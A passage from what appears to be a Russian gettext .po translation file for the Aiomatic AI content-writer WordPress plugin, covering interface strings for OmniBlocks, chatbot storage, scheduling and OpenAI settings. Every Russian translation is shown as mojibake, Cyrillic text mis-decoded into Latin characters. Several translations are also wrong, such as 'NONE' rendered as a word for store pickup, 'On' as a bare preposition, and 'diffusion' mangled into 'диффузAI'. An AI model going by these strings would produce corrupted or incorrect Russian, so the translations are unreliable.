Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ OmniBlocks." #: res/aiomatic-automation-list.php:2407 msgid "" "No OmniBlock Templates added. You can add more using the 'Add New OmniBlock " "Templates' button from above. You can also import the default templates " "which come with the plugin, by clicking on the 'Backup/Restore OmniBlock " "Templates' button from above and afterwards, the 'Import Default OmniBlock " "Templates' button." msgstr "" "Шаблоны OmniBlock не добавлены. Ð’Ñ‹ можете добавить больше, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ ÐºÐ½Ð¾Ð¿ÐºÑƒ " "«Добавить новые шаблоны OmniBlock» Ñверху. Ð’Ñ‹ также можете импортировать " "шаблоны по умолчанию, поÑтавлÑемые Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð¾Ð¼, нажав кнопку «Резервное " "копирование/воÑÑтановление шаблонов OmniBlock» Ñверху, а затем кнопку " "«Импортировать шаблоны OmniBlock по умолчанию»." #: res/aiomatic-chatbot.php:4954 msgid "" "No persistent chat messages found. You can enable this feature if you use " "the following shortcode to add a persistent AI chat to your page: [aiomatic-" "chat-form persistent=\"on\"]" msgstr "" "ПоÑтоÑнные ПоÑÑ‚Ñ‹ чата не найдены. Ð’Ñ‹ можете включить Ñту функцию, еÑли " "иÑпользуете Ñледующий Шорткод Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿Ð¾ÑтоÑнного чата Ñ AI на Ñвою " "Ñтраницу: [aiomatic-chat-form Permanent=\"on\"]" #: aiomatic-automatic-ai-content-writer.php:15405 msgid "No Post Sources found." msgstr "Ðет иÑточников ПоÑтов." #: res/aiomatic-main.php:7798 msgid "No Royalty Free Image Sources Enabled" msgstr "Ðет разрешенных ИÑточников Royalty Free Изображений " #: res/aiomatic-logs.php:547 msgid "No rules are running right now" msgstr "Ð’ данный момент нет правил" #: res/aiomatic-chatbot.php:3919 msgid "No saved themes available" msgstr "Ðет Ñохраненных тем" #: res/aiomatic-automation-list.php:4600 res/aiomatic-automation-list.php:7332 msgid "" "No template categories found. Add some in the 'OmniBlock Template Manager' " "tab" msgstr "" "Категории шаблонов не найдены. Добавьте их на вкладке «ДиÑпетчер шаблонов " "OmniBlock»." #: res/aiomatic-automation-list.php:4568 res/aiomatic-automation-list.php:7308 msgid "No templates found. Add some in the 'OmniBlock Template Manager' tab" msgstr "" "Шаблоны не найдены. Добавьте их на вкладке «ДиÑпетчер шаблонов OmniBlock»." #: aiomatic-ajax-actions.php:5055 msgid "No textual data found in the PDF file" msgstr "Ð’ PDF-файле не найдены текÑтовые данные" #: res/aiomatic-main.php:2696 res/aiomatic-main.php:2751 msgid "NONE" msgstr "Самовывоз" #: aiomatic-helpers.php:1467 res/aiomatic-amazon-list.php:484 #: res/aiomatic-amazon-list.php:3061 res/aiomatic-embeddings.php:649 #: res/aiomatic-limits-statistics.php:931 #: res/aiomatic-limits-statistics.php:1225 res/aiomatic-single-list.php:4692 #: res/aiomatic-spinner-list.php:4733 msgid "None" msgstr "Ðе указано" #: res/aiomatic-main.php:8578 msgid "Norvegian" msgstr "ÐорвежÑкий" #: res/aiomatic-amazon-list.php:38 res/aiomatic-review-list.php:38 #: res/aiomatic-rules-list.php:38 res/aiomatic-single-list.php:38 #: res/aiomatic-single-list.php:176 res/aiomatic-youtube-list.php:38 msgid "Norwegian" msgstr "ÐорвежÑкий" #: res/aiomatic-languages.php:37 msgid "Norwegian (Google Translate)" msgstr "ÐорвежÑкий (переводчик Google)" #: res/aiomatic-logs.php:80 res/aiomatic-logs.php:84 msgid "Not available" msgstr "Ðе доÑтупно" #: res/aiomatic-logs.php:338 msgid "Not Installed" msgstr "Ðе УÑтановлен" #: res/aiomatic-limits-statistics.php:221 #: res/aiomatic-limits-statistics.php:1609 msgid "Not Subscribed Users" msgstr "Ðе ПодпиÑанные Пользователи" #: res/aiomatic-main.php:1593 msgid "" "Note 1: Don't forget to secure your API key from OpenAI (don't share it with " "anyone)." msgstr "" "Примечание 1. Ðе забудьте защитить Ñвой ключ API от OpenAI (ни Ñ ÐºÐµÐ¼ не " "делитеÑÑŒ им)." #: res/aiomatic-main.php:1595 msgid "Note 2: If you're using Cloudflare, please read below." msgstr "Примечание 2. ЕÑли вы иÑпользуете Cloudflare, прочитайте ниже." #: res/aiomatic-main.php:1597 msgid "" "Note 3: If you're using the WP Rocket caching plugin, please deactivate and " "reactivate your caching plugin." msgstr "" "Примечание 3. ЕÑли вы иÑпользуете Плагин кÑÑˆÐ¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ WP Rocket, " "деактивируйте и повторно активируйте его." #: res/aiomatic-main.php:1599 msgid "" "Note 4: If your server has a timeout limit (max_execution_time server " "settings limited), you may not be able to generate longer content. Please " "request your hosting provider to extend the server timeout limit to at least " "10-15 minutes to generate longer content." msgstr "" "Примечание 4. ЕÑли на вашем Ñервере уÑтановлено ограничение времени Ð¾Ð¶Ð¸Ð´Ð°Ð½Ð¸Ñ " "(ограничено наÑтройками Ñервера max_execution_time), возможно, вы не Ñможете " "генерировать более длинный Контент. ПожалуйÑта, попроÑите вашего хоÑтинг-" "провайдера увеличить лимит времени Ð¾Ð¶Ð¸Ð´Ð°Ð½Ð¸Ñ Ñервера как минимум до 10-15 " "минут, чтобы генерировать более длинный Контент." #: res/aiomatic-main.php:1601 msgid "" "Note 5: If you're using iThemes security, please ensure to allow PHP calls " "from the plugin folder, otherwise, some features of the plugin might not " "work." msgstr "" "Примечание 5. ЕÑли вы иÑпользуете ÑиÑтему безопаÑноÑти iThemes, обÑзательно " "разрешите вызовы PHP из папки Плагина, иначе некоторые функции Плагина могут " "не работать." #: aiomatic-automatic-ai-content-writer.php:1667 msgid "Nothing to save!" msgstr "Ðечего СохранÑÑ‚ÑŒ!" #: res/aiomatic-main.php:6323 msgid "Notification Settings:" msgstr "ÐаÑтройки Уведомлений:" #: res/aiomatic-main.php:1620 msgid "Now go have some fun using the plugin!" msgstr "Теперь повеÑелитеÑÑŒ, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ ÐŸÐ»Ð°Ð³Ð¸Ð½!" #: res/aiomatic-main.php:1562 msgid "" "Now you are ready to get started seeing the plugin in action! You can hover " "your mouse over the Aiomatic menu in your WordPress dashboard. From there, " "you can choose to generate a single AI post or to create bulk automatic AI-" "created posts, complete with rich HTML content and royalty-free or AI-" "generated images. You can also edit existing or newly published posts, using " "an AI content editor. If you are an advanced user or you want to learn how " "to squize more out of the plugin and AI in general, check the Embeddings and " "Model Training features of the plugin. Finally, stop over to see the usage " "charts of the plugin and set limits for its API usage (if you feel that this " "is needed)." msgstr "" "Теперь вы готовы увидеть Плагин в дейÑтвии! Ð’Ñ‹ можете навеÑти указатель мыши " "на меню Aiomatic на панели ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ WordPress. Оттуда вы можете Ñоздать " "один поÑÑ‚ AI или Ñоздать маÑÑовые автоматичеÑкие поÑÑ‚Ñ‹, Ñозданные AI, в " "комплекте Ñ Ð±Ð¾Ð³Ð°Ñ‚Ñ‹Ð¼ HTML-Контентом и беÑплатными изображениÑми или " "изображениÑми, Ñозданными AI. Ð’Ñ‹ также можете редактировать ÑущеÑтвующие или " "недавно опубликованные ПоÑÑ‚Ñ‹ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ редактора Контента AI. ЕÑли вы " "опытный пользователь или хотите узнать, как выжать больше из Плагина и AI в " "целом, проверьте функции Embeddings и Model Training Плагина. Ðаконец, " "оÑтановитеÑÑŒ, чтобы увидеть диаграммы иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð° и уÑтановить " "Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° иÑпользование его API (еÑли вы чувÑтвуете, что Ñто необходимо)" "." #: res/aiomatic-shortcodes.php:61 msgid "Number" msgstr "Ðомер" #: res/aiomatic-amazon-list.php:1591 res/aiomatic-amazon-list.php:4146 #: res/aiomatic-chatbot.php:1029 res/aiomatic-chatbot.php:4478 #: res/aiomatic-main.php:3331 res/aiomatic-main.php:5720 #: res/aiomatic-review-list.php:1660 res/aiomatic-review-list.php:4299 #: res/aiomatic-rules-list.php:1793 res/aiomatic-rules-list.php:4547 #: res/aiomatic-single-list.php:2277 res/aiomatic-single-list.php:3027 #: res/aiomatic-single-list.php:4280 res/aiomatic-single-list.php:5594 #: res/aiomatic-single-list.php:6960 res/aiomatic-spinner-list.php:1845 #: res/aiomatic-youtube-list.php:1547 res/aiomatic-youtube-list.php:4057 msgid "" "Number between -2.0 and 2.0. Positive values penalize new tokens based on " "their existing frequency in the text so far, decreasing the model's " "likelihood to repeat the same line verbatim." msgstr "" "ЧиÑло от -2,0 до 2,0. Положительные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ ÑˆÑ‚Ñ€Ð°Ñ„ÑƒÑŽÑ‚ новые токены на оÑнове " "их ÑущеÑтвующей чаÑтоты в текÑте на данный момент, ÑƒÐ¼ÐµÐ½ÑŒÑˆÐ°Ñ Ð²ÐµÑ€Ð¾ÑтноÑÑ‚ÑŒ того," " что модель доÑловно повторит одну и ту же Ñтроку." #: res/aiomatic-amazon-list.php:1577 res/aiomatic-amazon-list.php:4134 #: res/aiomatic-chatbot.php:1016 res/aiomatic-chatbot.php:4465 #: res/aiomatic-main.php:3316 res/aiomatic-main.php:5705 #: res/aiomatic-review-list.php:1646 res/aiomatic-review-list.php:4287 #: res/aiomatic-rules-list.php:1779 res/aiomatic-rules-list.php:4535 #: res/aiomatic-single-list.php:2263 res/aiomatic-single-list.php:3013 #: res/aiomatic-single-list.php:4266 res/aiomatic-single-list.php:5580 #: res/aiomatic-single-list.php:6946 res/aiomatic-spinner-list.php:1832 #: res/aiomatic-youtube-list.php:1533 res/aiomatic-youtube-list.php:4045 msgid "" "Number between -2.0 and 2.0. Positive values penalize new tokens based on " "whether they appear in the text so far, increasing the model's likelihood to " "talk about new topics." msgstr "" "ЧиÑло от -2,0 до 2,0. Положительные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ ÑˆÑ‚Ñ€Ð°Ñ„ÑƒÑŽÑ‚ новые токены в " "завиÑимоÑти от того, поÑвлÑÑŽÑ‚ÑÑ Ð»Ð¸ они в текÑте до Ñих пор, что увеличивает " "вероÑтноÑÑ‚ÑŒ того, что модель будет говорить о новых темах." #: res/aiomatic-review-list.php:3111 res/aiomatic-rules-list.php:3278 #: res/aiomatic-youtube-list.php:3011 #| msgid "Number Of Sections To Generate" msgid "Number Of Content Sections To Generate" msgstr "КоличеÑтво Разделов Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸" #: res/aiomatic-review-list.php:450 res/aiomatic-rules-list.php:456 #: res/aiomatic-single-list.php:1409 res/aiomatic-single-list.php:3397 #: res/aiomatic-single-list.php:5955 res/aiomatic-youtube-list.php:459 #| msgid "Number Of Sections To Generate:" msgid "Number Of Content Sections To Generate:" msgstr "КоличеÑтво Разделов Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸:" #: res/aiomatic-single-list.php:326 msgid "Number of created sections:" msgstr "КоличеÑтво Ñозданных Разделов:" #: res/aiomatic-main.php:2625 msgid "Number of diffusion steps to run. Default is 50." msgstr "КоличеÑтво шагов диффузAI Ð´Ð»Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ. По умолчанию 50." #: res/aiomatic-rules-list.php:3355 res/aiomatic-youtube-list.php:3088 msgid "Number of Images To Add To The Article" msgstr "КоличеÑтво изображений Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð² Статью" #: res/aiomatic-rules-list.php:510 res/aiomatic-single-list.php:1463 #: res/aiomatic-single-list.php:3451 res/aiomatic-youtube-list.php:513 msgid "Number of Images To Add To The Article:" msgstr "КоличеÑтво изображений Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð² Статью:" #: res/aiomatic-amazon-list.php:3191 res/aiomatic-review-list.php:3176 #: res/aiomatic-rules-list.php:3343 res/aiomatic-youtube-list.php:3076 msgid "Number Of Paragraphs Per Section" msgstr "КоличеÑтво абзацев в Разделе" #: res/aiomatic-amazon-list.php:562 res/aiomatic-review-list.php:489 #: res/aiomatic-rules-list.php:495 res/aiomatic-single-list.php:1448 #: res/aiomatic-single-list.php:3436 res/aiomatic-single-list.php:4770 #: res/aiomatic-single-list.php:5994 res/aiomatic-youtube-list.php:498 msgid "Number Of Paragraphs Per Section:" msgstr "КоличеÑтво абзацев в Разделе:" #: res/aiomatic-single-list.php:360 msgid "Number of paragraphs per section:" msgstr "КоличеÑтво абзацев в Разделе:" #: res/aiomatic-main.php:6648 msgid "Number Of Results To Query:" msgstr "КоличеÑтво результатов Ð´Ð»Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñа:" #: res/aiomatic-main.php:7140 #, php-format msgid "Number Of Search Results To Add (In The %%web_results%% Shortcode):" msgstr "" "КоличеÑтво результатов поиÑка Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ (в Шорткоде %%web_results%%):" #: res/aiomatic-rules-list.php:3416 msgid "Number of YouTube Videos To Add To The Article" msgstr "КоличеÑтво видео на YouTube Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð² Статью" #: res/aiomatic-rules-list.php:561 res/aiomatic-single-list.php:1514 msgid "Number of YouTube Videos To Add To The Article:" msgstr "КоличеÑтво видео YouTube Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð² Статью:" #: res/aiomatic-training.php:507 msgid "Object" msgstr "Объект" #: res/aiomatic-amazon-list.php:128 res/aiomatic-review-list.php:128 #: res/aiomatic-rules-list.php:128 res/aiomatic-single-list.php:128 #: res/aiomatic-single-list.php:266 res/aiomatic-youtube-list.php:128 msgid "Odia" msgstr "Одиа" #: res/aiomatic-languages.php:129 msgid "Odia (Google Translate)" msgstr "Odia (Переводчик Google)" #: res/aiomatic-amazon-list.php:2378 res/aiomatic-automation-list.php:4941 #: res/aiomatic-csv-list.php:925 res/aiomatic-limits-statistics.php:613 #: res/aiomatic-limits-statistics.php:622 res/aiomatic-review-list.php:2447 #: res/aiomatic-rules-list.php:2576 res/aiomatic-youtube-list.php:2349 msgid "of" msgstr "из" #: res/aiomatic-chatbot.php:981 res/aiomatic-chatbot.php:4430 #: res/aiomatic-chatbot.php:4730 res/aiomatic-main.php:5244 msgid "Off" msgstr "Off" #: res/aiomatic-automation-list.php:97 msgid "OmniBlock Files" msgstr "Файлы OmniBlock" #: res/aiomatic-automation-list.php:2565 msgid "OmniBlock Manager" msgstr "Менеджер OmniBlock" #: aiomatic-automatic-ai-content-writer.php:12985 #: aiomatic-automatic-ai-content-writer.php:13975 #: res/aiomatic-automation-list.php:349 res/aiomatic-automation-list.php:1344 #: res/aiomatic-automation-list.php:2816 res/aiomatic-automation-list.php:3811 #: res/aiomatic-automation-list.php:5567 res/aiomatic-automation-list.php:6567 msgid "OmniBlock Parameters" msgstr "Параметры OmniBlock" #: aiomatic-automatic-ai-content-writer.php:12827 #: res/aiomatic-automation-list.php:196 res/aiomatic-automation-list.php:2663 #: res/aiomatic-automation-list.php:5408 msgid "OmniBlock Queue Starts Here" msgstr "Очередь OmniBlock начинаетÑÑ Ð·Ð´ÐµÑÑŒ" #: aiomatic-automatic-ai-content-writer.php:13881 #: res/aiomatic-automation-list.php:1249 res/aiomatic-automation-list.php:3716 #: res/aiomatic-automation-list.php:6473 msgid "OmniBlock Queue Stops Here" msgstr "Очередь OmniBlock оÑтанавливаетÑÑ Ð·Ð´ÐµÑÑŒ" #: res/aiomatic-automation-list.php:94 msgid "OmniBlock Rule Manager" msgstr "Менеджер правил OmniBlock" #: aiomatic-automatic-ai-content-writer.php:12704 #: res/aiomatic-automation-list.php:177 msgid "OmniBlock Template Category:" msgstr "ÐšÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ ÑˆÐ°Ð±Ð»Ð¾Ð½Ð° OmniBlock:" #: aiomatic-automatic-ai-content-writer.php:15639 msgid "OmniBlock Template draft updated." msgstr "Обновлен черновой вариант шаблона OmniBlock." #: res/aiomatic-automation-list.php:95 msgid "OmniBlock Template Manager" msgstr "Менеджер шаблонов OmniBlock" #: aiomatic-automatic-ai-content-writer.php:15635 msgid "OmniBlock Template published." msgstr "Опубликован шаблон OmniBlock." #: aiomatic-automatic-ai-content-writer.php:15634 #, php-format msgid "OmniBlock Template restored to revision from %s" msgstr "Шаблон OmniBlock воÑÑтановлен до верÑии %s." #: aiomatic-automatic-ai-content-writer.php:15636 msgid "OmniBlock Template saved." msgstr "Шаблон OmniBlock Ñохранен." #: aiomatic-automatic-ai-content-writer.php:15638 #, php-format msgid "OmniBlock Template scheduled for: %1$s." msgstr "Шаблон OmniBlock запланирован на: %1$s." #: aiomatic-automatic-ai-content-writer.php:15637 msgid "OmniBlock Template submitted." msgstr "Шаблон OmniBlock отправлен." #: aiomatic-automatic-ai-content-writer.php:12692 #: res/aiomatic-automation-list.php:162 msgid "OmniBlock Template Title:" msgstr "Ðазвание шаблона OmniBlock:" #: aiomatic-automatic-ai-content-writer.php:15630 #: aiomatic-automatic-ai-content-writer.php:15633 msgid "OmniBlock Template updated." msgstr "Обновлен шаблон OmniBlock." #: aiomatic-automatic-ai-content-writer.php:12890 #: aiomatic-automatic-ai-content-writer.php:13923 #: res/aiomatic-automation-list.php:254 res/aiomatic-automation-list.php:1292 #: res/aiomatic-automation-list.php:2721 res/aiomatic-automation-list.php:3759 #: res/aiomatic-automation-list.php:5472 res/aiomatic-automation-list.php:6515 msgid "OmniBlock Title" msgstr "Заголовок OmniBlock" #: aiomatic-automatic-ai-content-writer.php:12747 #: res/aiomatic-automation-list.php:5319 msgid "OmniBlock type not found: " msgstr "Тип OmniBlock не найден:" #: aiomatic-automatic-ai-content-writer.php:14664 #: res/aiomatic-automation-list.php:2032 res/aiomatic-automation-list.php:4499 #: res/aiomatic-automation-list.php:7256 msgid "OmniBlock Type To Add (Drag And Drop):" msgstr "Тип OmniBlock Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ (перетаÑкиванием):" #: aiomatic-automatic-ai-content-writer.php:12962 #: aiomatic-automatic-ai-content-writer.php:13974 #: res/aiomatic-automation-list.php:326 res/aiomatic-automation-list.php:1343 #: res/aiomatic-automation-list.php:2793 res/aiomatic-automation-list.php:3810 #: res/aiomatic-automation-list.php:5544 res/aiomatic-automation-list.php:6566 msgid "OmniBlock Type:" msgstr "Тип OmniBlock:" #: res/aiomatic-automation-list.php:96 msgid "OmniBlock Types" msgstr "Типы OmniBlock:" #: aiomatic-automatic-ai-content-writer.php:12982 #: aiomatic-automatic-ai-content-writer.php:13972 #: res/aiomatic-automation-list.php:346 res/aiomatic-automation-list.php:1341 #: res/aiomatic-automation-list.php:2813 res/aiomatic-automation-list.php:3808 #: res/aiomatic-automation-list.php:5564 res/aiomatic-automation-list.php:6564 msgid "" "OmniBlock Webhook functionality not enabled in 'Main Settings' menu of the " "plugin!" msgstr "" "ФункциональноÑÑ‚ÑŒ OmniBlock Webhook не включена в меню \"ОÑновные наÑтройки\" " "плагина!" #: res/aiomatic-automation-list.php:4640 res/aiomatic-main.php:23 #: res/aiomatic-main.php:6212 msgid "OmniBlocks" msgstr "OmniBlocks" #: res/aiomatic-main.php:2486 msgid "OmniBlocks Settings:" msgstr "ÐаÑтройки OmniBlocks:" #: res/aiomatic-chatbot.php:980 res/aiomatic-chatbot.php:4429 msgid "On" msgstr "в" #: res/aiomatic-chatbot.php:4731 msgid "On (Local Storage)" msgstr "Вкл. (Локальное Хранилище)" #: res/aiomatic-chatbot.php:4732 msgid "On (Local Storage), Only Save Chat Logs" msgstr "Вкл. (Локальное Хранилище), СохранÑÑ‚ÑŒ Только Журналы Чата" #: res/aiomatic-chatbot.php:1353 res/aiomatic-chatbot.php:4738 msgid "On (Vector Database Storage), Auto Create Embeddings From User Messages" msgstr "" "Вкл. (Хранение Векторной Базы Данных), ÐвтоматичеÑкое Создание Ð’Ñтраиваний " "из Сообщений ПользователÑ" #: res/aiomatic-spinner-list.php:4225 msgid "Once 10 minutes" msgstr "Раз в 10 минут" #: res/aiomatic-spinner-list.php:4220 msgid "Once 15 minutes" msgstr "Раз в 15 минут" #: res/aiomatic-spinner-list.php:4215 msgid "Once 30 minutes" msgstr "Раз в 30 минут" #: res/aiomatic-main.php:7397 res/aiomatic-spinner-list.php:4200 msgid "Once a day" msgstr "Раз в Ñутки" #: aiomatic-automatic-ai-content-writer.php:1615 msgid "Once A Minute" msgstr "Однажды Минута" #: res/aiomatic-main.php:7387 res/aiomatic-spinner-list.php:4190 msgid "Once a month" msgstr "Раз в меÑÑц" #: res/aiomatic-main.php:7392 res/aiomatic-spinner-list.php:4195 msgid "Once a week" msgstr "Раз в неделю" #: res/aiomatic-main.php:7407 res/aiomatic-spinner-list.php:4210 msgid "Once an hour" msgstr "Один раз в чаÑ" #: aiomatic-automatic-ai-content-writer.php:1623 msgid "Once Monthly" msgstr "Раз в меÑÑц" #: aiomatic-automatic-ai-content-writer.php:1619 msgid "Once Weekly" msgstr "Раз в неделю" #: aiomatic-ajax-actions.php:8060 #: aiomatic-automatic-ai-content-writer.php:13089 #: aiomatic-automatic-ai-content-writer.php:14023 #: aiomatic-shortcodes-file.php:537 res/admin/ai-post-gutenberg.php:95 #: res/admin/ai-post.php:89 res/aiomatic-amazon-list.php:357 #: res/aiomatic-amazon-list.php:2958 res/aiomatic-automation-list.php:452 #: res/aiomatic-automation-list.php:1391 res/aiomatic-automation-list.php:2919 #: res/aiomatic-automation-list.php:3858 res/aiomatic-automation-list.php:5671 #: res/aiomatic-automation-list.php:6615 res/aiomatic-chatbot.php:898 #: res/aiomatic-chatbot.php:4349 res/aiomatic-main.php:3220 #: res/aiomatic-main.php:3747 res/aiomatic-main.php:4040 #: res/aiomatic-main.php:4166 res/aiomatic-main.php:5045 #: res/aiomatic-main.php:5144 res/aiomatic-main.php:5273 #: res/aiomatic-main.php:5503 res/aiomatic-main.php:5606 #: res/aiomatic-main.php:6914 res/aiomatic-main.php:7067 #: res/aiomatic-review-list.php:357 res/aiomatic-review-list.php:3035 #: res/aiomatic-rules-list.php:372 res/aiomatic-rules-list.php:3197 #: res/aiomatic-shortcodes.php:261 res/aiomatic-single-list.php:808 #: res/aiomatic-single-list.php:1340 res/aiomatic-single-list.php:2543 #: res/aiomatic-single-list.php:3295 res/aiomatic-single-list.php:4565 #: res/aiomatic-single-list.php:5862 res/aiomatic-spinner-list.php:950 #: res/aiomatic-spinner-list.php:1669 res/aiomatic-spinner-list.php:1902 #: res/aiomatic-spinner-list.php:2269 res/aiomatic-spinner-list.php:2444 #: res/aiomatic-spinner-list.php:2617 res/aiomatic-spinner-list.php:2836 #: res/aiomatic-youtube-list.php:357 res/aiomatic-youtube-list.php:2925 msgid "Only OpenAI API is supported for Assistants API" msgstr "Ð”Ð»Ñ Assistants API поддерживаетÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ OpenAI API." #: res/aiomatic-limits-statistics.php:1671 msgid "" "Only the incidents which occured less than a week ago are displayed here." msgstr "ЗдеÑÑŒ отображаютÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ инциденты, произошедшие менее недели назад." #: res/aiomatic-main.php:1775 msgid "OpenAI / AiomaticAPI" msgstr "OpenAI / AiomaticAPI" #: res/aiomatic-more.php:88 msgid "OpenAI API Functions Calling Tutorial Video:" msgstr "Обучающее видео по вызову функций OpenAI API:" #: res/aiomatic-main.php:1887 msgid "OpenAI Organization ID (Optional)" msgstr "OpenAI Organization ID (ÐеобÑзательно)" #: res/aiomatic-main.php:1892 msgid "OpenAI Organization ID (optional)" msgstr "OpenAI Organization ID (ÐеобÑзательно)" #: res/aiomatic-limits-statistics.php:458 #: res/aiomatic-limits-statistics.php:500 msgid "OpenAI Status" msgstr "Ð¡Ñ‚Ð°Ñ‚ÑƒÑ OpenAI" #: res/aiomatic-embeddings.php:51 res/aiomatic-training.php:59 msgid "OpenAI's pricing" msgstr "Цены OpenAI" #: res/aiomatic-amazon-list.php:1656 res/aiomatic-amazon-list.php:4225 #: res/aiomatic-main.php:7900 res/aiomatic-review-list.php:1725 #: res/aiomatic-review-list.php:4378 res/aiomatic-rules-list.php:1854 #: res/aiomatic-rules-list.php:4614 res/aiomatic-single-list.php:2322 #: res/aiomatic-single-list.php:3072 res/aiomatic-single-list.php:4325 #: res/aiomatic-single-list.php:5639 res/aiomatic-single-list.php:7005 #: res/aiomatic-spinner-list.php:1386 res/aiomatic-spinner-list.php:2011 #: res/aiomatic-youtube-list.php:1612 res/aiomatic-youtube-list.php:4136 msgid "OpenAI/AiomaticAPI" msgstr "OpenAI/AiomaticAPI" #: res/aiomatic-main.php:1974 msgid "OpenRouter AI API Settings" msgstr "ÐаÑтройки API OpenRouter AI" #: res/aiomatic-logs.php:393 msgid "Operating System" msgstr "ÐžÐ¿ÐµÑ€Ð°Ñ†Ð¸Ð¾Ð½Ð½Ð°Ñ Ð¡Ð¸Ñтема" #: res/aiomatic-main.php:6873 #, php-format msgid "Optimize The %%post_content%% Shortcode Using AI:" msgstr "Оптимизируйте шорткод %%post_content%% Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI:" #: res/aiomatic-limits-statistics.php:1464 res/aiomatic-shortcodes.php:88 msgid "Options" msgstr "Опции" #: res/aiomatic-main.php:1576 msgid "or" msgstr "или" #: res/aiomatic-main.php:8296 res/aiomatic-main.php:8810 msgid "Order results by a predefined rule." msgstr "УпорÑдочить результаты по заранее определенному правилу." #: res/aiomatic-embeddings.php:643 res/aiomatic-spinner-list.php:4715 msgid "Order Results By:" msgstr "УпорÑдочить результаты по:" #: res/aiomatic-embeddings.php:623 res/aiomatic-spinner-list.php:4683 msgid "Order Results:" msgstr "Результаты заказа:" #: res/aiomatic-training.php:511 msgid "Organization ID" msgstr "ID Организации" #: res/aiomatic-main.php:2821 msgid "origami" msgstr "оригами" #: res/aiomatic-spinner-list.php:1321 msgid "Original Content Image Strength:" msgstr "Сила Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð˜Ñходного Контента:" #: res/aiomatic-spinner-list.php:1597 msgid "Original Image Strength:" msgstr "Сила ИÑходного ИзображениÑ:" #: res/aiomatic-amazon-list.php:129 res/aiomatic-review-list.php:129 #: res/aiomatic-rules-list.php:129 res/aiomatic-single-list.php:129 #: res/aiomatic-single-list.php:267 res/aiomatic-youtube-list.php:129 msgid "Oromo" msgstr "Оромо" #: res/aiomatic-languages.php:130 msgid "Oromo (Google Translate)" msgstr "оромо (переводчик Google)" #: res/aiomatic-main.php:4914 msgid "Other Cloud Storage Options Tutorial Video:" msgstr "Обучающее видео по другим вариантам облачного хранилища:" #: aiomatic-automation.php:571 msgid "" "Outputs an embeddings result from the embeddings you have created in the " "plugin, based on the text input sent to this OmniBlock. Note that for this " "feature to work, you need to enable embeddings in the plugin and create " "embeddings texts, which matches the result you are expecting." msgstr "" "Выводит результат вÑтраиваний из вÑтраиваний, Ñозданных вами в плагине, на " "оÑнове текÑтового ввода, отправленного в Ñтот OmniBlock. Обратите внимание, " "что Ð´Ð»Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ñ‹ Ñтой функции вам необходимо включить вÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð² плагине и " "Ñоздать текÑÑ‚Ñ‹ вÑтраиваниÑ, ÑоответÑтвующие ожидаемому результату." #: res/aiomatic-chatbot.php:1539 msgid "Overwrite Chatbot Text-to-Speech Voice ID:" msgstr "ПерезапиÑать ID голоÑового чат-бота Ð´Ð»Ñ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь:" #: res/aiomatic-chatbot.php:1628 msgid "Overwrite Chatbot Video Avatar URL:" msgstr "ПерезапиÑать URL-Ð°Ð´Ñ€ÐµÑ Ð°Ð²Ð°Ñ‚Ð°Ñ€Ð° видео чат-бота:" #: res/aiomatic-assistants.php:288 res/aiomatic-automation-list.php:2098 #: res/aiomatic-chatbot.php:5608 res/aiomatic-shortcodes.php:414 msgid "Overwrite Existing" msgstr "ПерезапиÑать СущеÑтвующие" #: aiomatic-automation.php:1234 res/aiomatic-amazon-list.php:4428 #: res/aiomatic-csv-list.php:1431 res/aiomatic-review-list.php:4581 #: res/aiomatic-rules-list.php:4817 res/aiomatic-youtube-list.php:4339 msgid "Overwrite Existing Posts" msgstr "ПерезапиÑать ÑущеÑтвующие поÑÑ‚Ñ‹" #: res/aiomatic-amazon-list.php:1852 res/aiomatic-csv-list.php:301 #: res/aiomatic-review-list.php:1921 res/aiomatic-rules-list.php:2050 #: res/aiomatic-youtube-list.php:1808 msgid "Overwrite Existing Posts:" msgstr "ПерезапиÑать ÑущеÑтвующие поÑÑ‚Ñ‹:" #: res/aiomatic-amazon-list.php:2378 res/aiomatic-automation-list.php:4941 #: res/aiomatic-csv-list.php:925 res/aiomatic-limits-statistics.php:613 #: res/aiomatic-limits-statistics.php:622 #: 